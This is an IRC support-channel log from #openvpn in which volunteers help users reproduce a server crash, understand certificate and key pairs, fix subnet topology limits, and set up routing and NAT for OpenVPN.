13:35 < Dennis84> Wulf: 64bit
13:37 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Max SendQ exceeded]
13:37 -!- dazo is now known as dazo_afk
13:40 < Wulf> Dennis84: it's the server that crashes?
13:41 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
13:41 -!- catsup [~d@64.111.123.163] has joined #openvpn
13:45 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
13:46 -!- Porkepix [~Porkepix@157.138.76.100] has joined #openvpn
13:46 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
13:48 -!- catsup [~d@64.111.123.163] has joined #openvpn
13:53 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
13:54 -!- catsup [~d@64.111.123.163] has joined #openvpn
13:59 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 252 seconds]
14:00 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:02 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
14:05 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
14:06 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:06 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
14:09 -!- Orbi [~opera@anon-147-110.vpn.ipredator.se] has joined #openvpn
14:09 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Client Quit]
14:10 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 260 seconds]
14:10 -!- DucsSlack [~desade@24-117-207-111.cpe.cableone.net] has joined #openvpn
14:10 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
14:11 < Wulf> Dennis84: there's an encrypted private key ;)
14:12 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
14:12 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:15 < pekster> Wulf: If it's from the openvpn-testing git project, the readme says the password is merely "password" and it looks like only the 'pass.key' is protected
14:15 < pekster> All the others (ca, server, & client) all are unencrypted
14:15 < Wulf> ah, thanks :)
14:18 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 252 seconds]
14:19 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:21 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
14:21 < Dennis84> Wulf: yes, this server crashes
14:21 < Dennis84> but maybe you need more clients
14:22 < Dennis84> if the server does not crash, i generate you more clients
14:22 < Wulf> Dennis84: I have trouble running your config
14:22 < Dennis84> Wulf: why?
14:22 < Wulf> bad CN in the client certs I guess
14:23 < Dennis84> hmm is it not possible ro rename them?
14:24 < Wulf> Thu Mar  7 20:24:22 2013 VERIFY X509NAME ERROR: /C=KG/ST=NA/O=OpenVPN-TEST/CN=Test-Server/emailAddress=me@myhost.mydomain, must be server
14:25 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
14:25 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:26 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
14:26 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
14:31 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
14:31 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:37 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
14:38 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:39 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
14:39 -!- mode/#openvpn [+v s7r] by ChanServ
14:41 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
14:42 -!- DucsSlack is now known as ducblangis
14:43 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
14:44 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:49 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
14:50 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:55 -!- cafaroo [gustaf@c213-89-175-69.bredband.comhem.se] has joined #openvpn
14:56 < Wulf> Dennis84: Segmentation fault
14:56 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
14:56 -!- catsup [~d@64.111.123.163] has joined #openvpn
14:56 < cafaroo> Hi! First time using openVPN and i generated keys with puttyGEN how can i convert them to use with openVPN?
14:57 < Wulf> cafaroo: how is putty related to openvpn?
14:57 < Wulf> cafaroo: putty is an ssh client, that's a completely different key format
14:58 < cafaroo> I dont know my networktech told me to create keys and that was the only way i knew how.. Now he says he created so many keys for me in the server that im on my own :S
14:58 < cafaroo> I know but there must be some way to convert right?
14:58 < pekster> Well, technically you can generate a CSR from a private RSA key pair that putty's tools can generate, but you can't do it with putty alone. You need to use openssl (or another high-level tool) anyway
14:59 < pekster> What you really want is a tool like Easy-RSA or XCA to generate a keypair and signing request (CSR or sometimes called a ".req" after a common file extension used by this format)
14:59 < cafaroo> Just my luck... I have ssh access to the server now trough putty can i add keys by myself?
14:59 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
14:59 < cafaroo> SSorry if im asking dumb questions but i havent really used keys at all before..
14:59 < pekster> cafaroo: ssh access to what, your OpenVPN server?
15:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
15:00 < cafaroo> Yes
15:00 < pekster> You should follow the official OpenVPN howto then as it has an entire section describe the PKI setup, including key generation
15:00 < pekster> !howto
15:00 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:01 < cafaroo> I tried that but the whole company is on the server so i really dont want to make a trail and error run as i usally do. Specially since i've been working there for about 3 days :P
15:01 < cafaroo> Anyway ill go back to google! Thanks for the help m8 :)
15:01 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 252 seconds]
15:02 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:03 < Dennis84> Wulf: ok :)
15:03 < Wulf> Dennis84: it's easy to reproduce by letting client1 connect, and kill/start client2 until it crashes
15:03 < pekster> The "short" answer is that no, puttyGen cannot generate a proper PKI for you. All it does is generate an RSA keypair, which is only one "step" in the process of generating a certificate
15:04 <@EugeneKay> If you want a GUI PKI management, XCA is the tool.
15:04 < pekster> Use one of the tools I mentioned above, unless you have an advanced understanding of X509 and PKI and wish to manage the interaction between the keypair, CSR, and signing steps by yourself
15:04 < Wulf> Dennis84: valgrind returns nothing useful, so it's likely not a buffer overflow but a logic error
15:05 < cafaroo> But m8
15:06 < Dennis84> Wulf: ok
15:06 < Dennis84> i go to bed now
15:06 < Dennis84> maybe we can talk tomorrow
15:06 < cafaroo> pkster:I have certificates that he created for me allready. ca.crt and myname.crt
15:06 < Dennis84> thanks for your help!
15:06 < Dennis84> good night
15:07 < cafaroo> pkster: Im just trying to put in a new.key file. But i dont know if its possible.
15:07 < pekster> cafaroo: The certificate (.crt file) is tied to your private key. It is a *keypair* and the pair comes from the initial generation process. You cannot use a different private key with an issued certificate
15:07 < pekster> A certificate is just the public key with some extra data added by the CA to sign and verify that the CA has "approved" the request
15:08 < cafaroo> Hmm okay! So the only thing to do is to erase this key. Create a new one with easy-rsa then.
15:08 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
15:08 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
15:08 < pekster> How did you get the myname.crt file? During the generation process of the keypair, you would have ended up with a matching private key
15:08 < pekster> The vpn client needs both components, plus the ca.crt file
15:09 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:09 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
15:09 < cafaroo> I dont know i sent him my putty key and he sent me back a zip file containing 4files. The crt files and some config files and the .key file.
15:10 < pekster> You shouldn't have sent your private key out, although if you did hopefully it was at least encrypted
15:10 < pekster> If it's been signed by the CA you're using, just use that private key, signed cert, and the ca.crt files and you're done
15:11 < pekster> I don't know how your signing process works internally, so I can't say if this was done properly or not
15:12 < cafaroo> I know but he took the access away from the servers since i told him to create new keys so i cant access them but that one works logging in to the vpn..
15:13 < cafaroo> Sorry I cant even understand what i wrote there myself. Those keys work but i cant access our internal servers with those since i told him to create new ones. So with the new ones i can access the servers if i can only convert them witch seem impossible.
15:14 < cafaroo> So ill contact him tomorrow and treat him with a cookie or something to change it back to the inital configuration.
15:14 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
15:14 < pekster> Yea, you'd best do that. I have no clue what you're trying to "convert"
15:15 < cafaroo> My friend, from what i've wrote i hope you understand that i really dont know that either. :P
15:15 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:15 < pekster> putty's ".ppk" files are not OpenSSH compatible, but the puttyGen program does let you convert them
15:16 < pekster> It's still all meaningless unless you somehow integrate that into a CSR and signing process
15:16 < cafaroo> But there is a button in puttygen that says convert to openssh?
15:16 < pekster> In the 'Conversions' menu, yes
15:16 < cafaroo> But it dosent work?
15:16 < pekster> It works fine. You load a .ppk file and then export the openssh formatted keypair
15:17 < pekster> Or just use a proper tool to generate a keypair for openvpn that does the generation and CSR creation for you
15:17 < pekster> (that's better, becuase you're not likely to get help here turning your keypair into a CSR. That's an "experts only" thing as far as #openvpn cares)
15:18  * pekster needs to do a writeup on this sometime
15:18 < cafaroo> pkster:ahh well ive already put engouh time in this better call him tomorrow....
15:19 < cafaroo> Thanks again.
15:21 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 264 seconds]
15:21 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:22 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
15:22 -!- levifig [~levifig@spwn.co] has joined #openvpn
15:27 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
15:27 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:32 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
15:33 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:33 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
15:38 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 264 seconds]
15:39 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:44 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
15:44 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 250 seconds]
15:45 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:46 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
15:47 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:48 -!- kli0rf [kli0rf@unaffiliated/kli0rf] has joined #openvpn
15:50 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 250 seconds]
15:51 -!- eHAPPY [~V1CE@ip174-73-3-95.no.no.cox.net] has quit [Ping timeout: 245 seconds]
15:51 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:53 < kli0rf> evening
15:54 < kli0rf> gotta little problem, i've got set up openvpn server, and it works, but only allows one client to be connected
15:54 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 272 seconds]
15:54 < kli0rf> when second client is connecting, error says there's no free ips left for the second client
15:54 < kli0rf> here's configs: http://www.codepaste.eu/?hash=57937e7e11d13fea0b1c31eacc0cb3d5
15:55 < kli0rf> anyone has a clue..?
15:56 < pekster> kli0rf: You probably want the 'toplogy subnet' with a netework range that small
15:56 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
15:56 < pekster> !/30
15:56 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
15:57 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 252 seconds]
15:57 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
15:57 < kli0rf> hmmm
15:57 < pekster> Optionally use a larger subnet instead of a /29; you're using rfc1918 space anyway in that example, so it's not like you need to conserve public IPv4 IPs or something
15:58 -!- catsup [~d@64.111.123.163] has joined #openvpn
15:58 < pekster> In net30, a /29 gives you just 1 /30 for the server and another for a single client. In subnet mode, you'll get up to 5 clients plus the server
15:59 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
15:59 < pekster> PtP mode could increase utilization by allowing you to use say .0 for the server and .1 through .7 for clients since there's no notion of a "network" or "broadcast" address in a true PtP interface. Note that this is incompabible with Windows clients
16:00 < pekster> Pick some combination of the above to fix your issue
16:01 < kli0rf> pekster: so increasing dhcp range, e.g. /28, would do the thing in this case?
16:01 < pekster> The "quick" fix is to just use topology subnet
16:01 -!- eHAPPY [~V1CE@ip174-73-3-95.no.no.cox.net] has joined #openvpn
16:01 < pekster> Do you need >5 clients?
16:01 < kli0rf> pekster: nope, i need just five :)
16:02 -!- JSharpe [~JSharpe@46.165.221.13] has quit [Quit: Leaving]
16:02 < pekster> Then your current setup works fine if you use topolgoy subnet. Connecting more clients would require a larger subnet (or PtP trickery, but it looks like your client config is Windows, so that's not valid there)
16:03 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 252 seconds]
16:03 < kli0rf> i see...
16:03 < pekster> You'll be unable to add more clients beyond 5 even using subnet topology unless you allocate more than a /29. Any reason you're using such a small network in private address space?
16:03 < pekster> 192.168/16 is a bit place...
16:03 < pekster> big*
16:04 -!- catsup [~d@64.111.123.163] has joined #openvpn
16:04 < rob0> I can sell you a chunk of 10/8, or or 172.16/12!
16:05 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0/20130215130331]]
16:05 < kli0rf> pekster: no particular reason, just for the sake of clarity. i only need five clients, so it looked like a good idea to use subnet which only can have five clients...
16:06 -!- flashuni [~textual@108-241-244-170.lightspeed.frokca.sbcglobal.net] has joined #openvpn
16:07 < pekster> Sure, then subnet is the way to go
16:07 < pekster> It's just an odd design decision when you're talking about the (nearly) limitless addressing you have in rfc1918
16:07 < pekster> If that ever changes and you need a 6th client, you need to re-do the network topology and expand it
16:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:09 < pekster> rob0: How about I trade you some fd00::/8 space for that :D
16:09 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
16:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
16:09 -!- mode/#openvpn [+o krzee] by ChanServ
16:10 < kli0rf> pekster: hmmm, my real network is 192.168.1.0/28, and this 192.168.2.0/29 is only for openvpn clients
16:10 -!- catsup [~d@64.111.123.163] has joined #openvpn
16:10 < pekster> Right. Why not assign 192.168.2.0/24 for VPN clients?
16:11 < pekster> It's just a silly design practice to cripple your networks with painfully small netmasks that get expanded if/when utilization increases
16:12 < kli0rf> pekster: i see. ok, let me assign 192.168.2.0/24. do i still need 'topology subnet' in server config?
16:13 < pekster> You wouldn't need it since you can fit 64 unique /30's inside a /24, but I'd still recommend it unless you actually need to support OpenVPN clients older than version 2.1. Those clients are over 6 years old now
16:14 < kli0rf> i see
16:15 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
16:16 < pekster> Here's an example of how a net30 split looks with a /29 and a /24, generated with the 'sipcalc' tool (it'll eat both CIDR and netmasks) http://paste.kde.org/689924/
16:16 -!- catsup [~d@64.111.123.163] has joined #openvpn
16:17 < pekster> The "--show-subnets" flag to openVPN generates much the same output. 'topology subnet' does the sane thing and simply assigns each client a single IP and the netmask of the network
16:19 < pekster> --show-valid-subnets I guess
16:19 < pekster> (shows how often I use that feature :)
16:20 < kli0rf> :)
16:21 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
16:22 -!- catsup [~d@64.111.123.163] has joined #openvpn
16:22 < pekster> I've only once in recent years needed to support a client as old as 2.0.9, and that was a fully Linux/Unix setup where we just used PtP on our public IPv4 assingments for up to 100% utilization on IP space
16:23 < pekster> Unless you're doing something really exotic, 'topology subnet' is the *strongly* recommended choice
16:24 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
16:27 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
16:28 -!- catsup [~d@64.111.123.163] has joined #openvpn
16:29 < kli0rf> hmmmm
16:30 < kli0rf> i can't access samba share using it's ip address with topology subnet :/
16:32 -!- jgeboski- is now known as jgeboski
16:33 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:33 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
16:34 < pekster> If you can ping the peer you're trying to reach, it's not an openvpn issue. DNS likely. If you can't ping, it's usually a firewall issue
16:34 -!- catsup [~d@64.111.123.163] has joined #openvpn
16:34 < kli0rf> i can't ping
16:36 < kli0rf> i've left subnet 192.168.2.0/29 and just added 'topology subnet' to server config, so my client connects, reports that it got 192.168.2.2 ip, but i can't ping to 192.168.1.0/28 hosts...
16:37 < rob0> !serverlan
16:37 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
16:40 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Remote host closed the connection]
16:40 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Quit: Yippee-kay-yay]
16:40 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
16:40 -!- catsup [~d@64.111.123.163] has joined #openvpn
16:40 -!- ducblangis [~desade@24-117-207-111.cpe.cableone.net] has left #openvpn ["WeeChat 0.3.8"]
16:41 -!- Porkepix [~Porkepix@157.138.76.100] has quit [Quit: Computer has gone to sleep.]
16:42 < kli0rf> i have ip forwarding enabled
16:42 < rob0> Use the flowchart, Luke.
16:42 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
16:46 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 276 seconds]
16:46 < eHAPPY> !route_outside_openvpn
16:46 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
16:47 -!- catsup [~d@64.111.123.163] has joined #openvpn
16:47 < eHAPPY> wow this channel has more/better info that the openvpn docs itself lolf
16:49 < eHAPPY> can someone link me to a install walkthrough? im having a really hard time setting this up to connect from outside my lan
16:49 <@krzee> actually thats also on community.openvpn.net
16:49 <@krzee> eHAPPY,
16:49 <@krzee> !goal
16:49 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:50 < eHAPPY> i was to setup a basic vpn, clients connect to it and routes data over and through my local internet
16:50 <@krzee> you want to redirect the client's internet to come from the server?
16:50 < eHAPPY> right, a very basic vpn
16:51 <@krzee> thats not as basic as you think
16:51 <@krzee> !redirect
16:51 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:51 <@vpnHelper> http://ircpimps.org/redirect.png
16:51 < eHAPPY> maybe im not wording it properly then
16:51 <@krzee> well it is, but it requires stuff outside openvpn
16:51 <@krzee> namely, enabling ip forwarding and NATing your vpn subnet
16:51 < eHAPPY> i want the most basic VPN setup, client connect to it and can use the servers internet
16:51 <@krzee> all a vpn does is connect 2 machines
16:51 < eHAPPY> yeah
16:52 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
16:52 <@krzee> the most basic vpn is simply a ptp between 2 machines
16:52 <@krzee> you want that, and to route all internet over it
16:52 < eHAPPY> oh alright, i figured that was a given
16:52 <@krzee> which is easy, you just do this
16:52 <@krzee> !redirect
16:52 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:52 <@vpnHelper> http://ircpimps.org/redirect.png
16:52 <@krzee> what OS is your server?
16:53 < eHAPPY> im trying to run it as the vmware appliance
16:53 -!- catsup [~d@64.111.123.163] has joined #openvpn
16:53 < eHAPPY> but really i dont care as long as it finally works
16:53 <@krzee> that was not an answer
16:53 <@krzee> what OS
16:53 < eHAPPY> umm i think its debian
16:53 <@krzee> ok
16:53 <@krzee> linux
16:53 <@krzee> :-p
16:53 < eHAPPY> yeah
16:53 <@krzee> want a program that will hold your hand and tell you what to do by asking you questions?
16:53 < eHAPPY> im thinking vmware adds another level of complication though
16:54 < eHAPPY> yeah that would be great
16:54 <@krzee> !confgen
16:54 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
16:54 -!- Orbi [~opera@anon-147-110.vpn.ipredator.se] has left #openvpn []
16:55 < eHAPPY> ok this will do all the NAT/redirect/etc for me?
16:58 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
16:59 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:00 -!- kli0rf [kli0rf@unaffiliated/kli0rf] has left #openvpn []
17:04 -!- dxtr [cfc05a40@unaffiliated/dxtr] has quit [Ping timeout: 256 seconds]
17:04 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 272 seconds]
17:04 < Azrael_-> krzee: hi, perhaps you remember me from some days ago with the smb-problem in windows. i didn't change anything and it works now again. no idea why
17:05 <@krzee> eHAPPY, no, it will tell you what to do
17:05 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:05 <@krzee> it does not assume you're running it on the server machine, and it should not be run as root anyways
17:06 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
17:09 -!- cafaroo [gustaf@c213-89-175-69.bredband.comhem.se] has quit [Ping timeout: 264 seconds]
17:10 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
17:11 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:14 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 240 seconds]
17:14 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
17:17 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 248 seconds]
17:17 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:18 < eHAPPY> ok is there any easier to setup vpn software? this is killer for a simple lab setup lol
17:19 <@EugeneKay> It's plenty easy if you understand basic networking and PKI
17:19 < eHAPPY> i do but many of these questiosn dont even apply
17:20 < eHAPPY> im just wanting a self contained vpn appliance
17:20 < eHAPPY> dont need to branch out into my entire network
17:21 < pekster> The script your using is not part of OpenVPN proper, but a 3rd party script authored by the individual who handed it to you. When you use a "kitchen sink" type helper tool, it's presumably going to ask you any question that applies to a feature it supports
17:21 < pekster> Either use the helper-script as it was intended, or write your own config based on your needs
17:21 < eHAPPY> should i jsut put in garbage info for those parts?
17:23 < rob0> "self contained vpn appliance"? what would that do? It makes no sense.
17:23 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 256 seconds]
17:23 < eHAPPY> rob0 the openVPN appliance i would imagine
17:23 < eHAPPY> it runs great, just cant get a public IP working
17:23 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:24 < pekster> "can't get a public IP working" ?? That doesn't describe a problem that I undersatnd
17:25 < eHAPPY> ok, my internal ip works just fine, i can route all the traffic i want to and through it
17:26 < eHAPPY> once i try and set it to public, set port forwarding, etc it doesnt work
17:26 < eHAPPY> the openvpn logs never get hit
17:26 < pekster> Then you have messed up your external routing or a firewall along the way
17:26 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has joined #openvpn
17:26 < eHAPPY> its all defaulted each time i try and set up
17:27 < pekster> Fix your firewalls and trace the packets using the standard tools for such problems, namely tcpdump and iptables on a Linux system
17:27 < eHAPPY> what all besides the openvpn software do i need to do?
17:27 < pekster> You need to do exactly what I just stated
17:27 < rob0> learn a lot more, I think :)
17:27 < eHAPPY> rob0 i would be fine if there was more documentation :/
17:28 < rob0> !101
17:28 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
17:28 < eHAPPY> so where should i go to get help on my networking for openvpn?
17:28 < eHAPPY> is there a networking-openvpn channel?
17:28 < rob0> !tcpip
17:28 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
17:28 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
17:29 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:33 < eHAPPY> im not seeing anything on proprietary vpns...what should i be looking for?
17:34 < pekster> 1) OpenVPN is not proprietary as it is released under the GPLv2. 2) your issue isn't even related to OpenVPN. Apparently your routing and/or firewall is misconfigured and as a result your VPN server never sees the packets the client sends
17:34 -!- dxtr [4574b2ad@unaffiliated/dxtr] has joined #openvpn
17:34 < pekster> It sounds like you need to learn some basic networking skills in order to diagnose and fix why that isn't working
17:35 < eHAPPY> pekster while that would be 3-5 hours well spent im just looking for a walkthrough guide
17:35 -!- catsup [~d@64.111.123.163] has quit [Read error: Connection reset by peer]
17:35 < eHAPPY> ie "once openvpn is running, configure your router to software port xx,xx and enable NAT"
17:35 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:35 < eHAPPY> forward*
17:36 < pekster> !basic
17:36 <@vpnHelper> "basic" is if you do not understand basic networking, you probably should not be administrating a vpn... you should understand the basics of routing / firewalls first
17:37 -!- flashuni [~textual@108-241-244-170.lightspeed.frokca.sbcglobal.net] has quit [Quit: Computer has gone to sleep.]
17:38 < eHAPPY> like i said, its a home lab
17:39 < eHAPPY> ill jsut go with a l2tp/ipsec setup instead; worth spending 50$ not to deal with all this i guess
17:39 < pekster> That doesn't change the fact that you're struggling with a fairly basic networking concept that is outside the scope of using openvpn. It sounds like you've misconfigured your home router or your firewall on the OS/host
17:39 < eHAPPY> ...its defaulted like i said
17:40 < pekster> I don't have any clue what "defaulted" means. I don't know your home router, nor do I care to attempt to support it
17:40 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
17:41 < pekster> OpenVPN is one of the easiest VPNs out there to configure through firewalls and NAT since it multiplexes all the communication over a single UDP (or TCP) port
17:41 < eHAPPY> default means all stock settings, nothing changed
17:41 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:44 -!- vistas [~vistas@c-71-204-33-119.hsd1.ga.comcast.net] has quit [Ping timeout: 250 seconds]
17:47 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 260 seconds]
17:48 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:53 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 250 seconds]
17:54 -!- catsup [~d@64.111.123.163] has joined #openvpn
17:59 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
18:00 -!- catsup [~d@64.111.123.163] has joined #openvpn
18:06 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 255 seconds]
18:07 -!- catsup [~d@64.111.123.163] has joined #openvpn
18:12 -!- catsup [~d@64.111.123.163] has quit [Ping timeout: 245 seconds]
18:13 -!- catsup [~d@64.111.123.163] has joined #openvpn
18:18 < eHAPPY> figured it out
18:19 < eHAPPY> it was a problem with vmware -_-
18:25 -!- mete [~mete@mete.shell.la] has quit [Quit: .]
18:26 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
18:29 -!- RichardBronosky_ [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
18:29 -!- Netsplit *.net <-> *.split quits: kyrix, Sickness\, Masxmasx, sejo, MeanderingCode, pulz, rob0, dropje, RichardBronosky, scoates
18:34 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 250 seconds]
18:39 -!- Netsplit over, joins: MeanderingCode, kyrix, pulz, dropje, Sickness\, rob0, sejo, scoates, Masxmasx
18:39 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
18:39 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
19:01 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
19:02 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
